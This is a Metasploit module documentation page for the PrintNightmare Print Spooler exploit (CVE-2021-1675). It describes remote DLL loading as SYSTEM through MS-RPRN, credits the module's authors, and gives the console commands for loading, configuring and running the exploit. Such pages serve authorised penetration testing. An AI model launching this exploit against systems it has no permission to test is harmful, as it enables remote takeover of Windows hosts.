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Print Spooler Remote DLL Injection

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Print Spooler Remote DLL Injection



The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.


  • Zhiniang Peng
  • Xuefeng Li
  • Zhipeng Huo
  • Piotr Madej
  • Zhang Yunhai
  • cube0x0
  • Spencer McIntyre
  • Christophe De La Fuente


Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/dcerpc/cve_2021_1675_printnightmare
msf exploit(cve_2021_1675_printnightmare) > show targets
msf exploit(cve_2021_1675_printnightmare) > set TARGET < target-id >
msf exploit(cve_2021_1675_printnightmare) > show options
    ...show and set options...
msf exploit(cve_2021_1675_printnightmare) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.

– Jim O’Gorman | President, Offensive Security